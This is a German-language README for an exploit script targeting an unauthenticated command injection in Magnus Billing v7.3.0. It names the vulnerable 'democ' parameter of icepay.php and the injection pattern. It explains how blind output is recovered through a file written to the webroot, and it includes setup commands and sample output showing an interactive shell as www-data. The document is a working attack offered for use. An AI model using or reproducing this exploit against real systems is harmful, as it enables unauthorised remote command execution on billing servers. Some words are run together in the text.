
Nicht authentifizierte Command-Injection-Schwachstelle in Magnus Billing v7.3.0.
Nicht authentifizierte Befehlsinjektions-Schwachstelle in Magnus Billing v7.3.0. Der
democ-GET-Parameter inicepay.phpwird ohne Bereinigung direkt an eine Shell-Funktion übergeben, wodurch beliebige Befehle mit den Rechten des Web-Server-Benutzers ausgeführt werden können. Die Injektion ist blind — die Ausgabe wird nicht in der HTTP-Antwort reflektiert — daher leitet dieses Exploit die Ausgabe jedes Befehls in eine Datei im Webroot um und ruft sie anschließend über HTTP wieder ab.
/mbilling/lib/icepay/icepay.php?democ=;<command>;.out.txt).Falls das Ziel einen anderen Webroot-Pfad verwendet, passe
OUTPUT_FILEam Anfang des Skripts an.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Beispiel:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data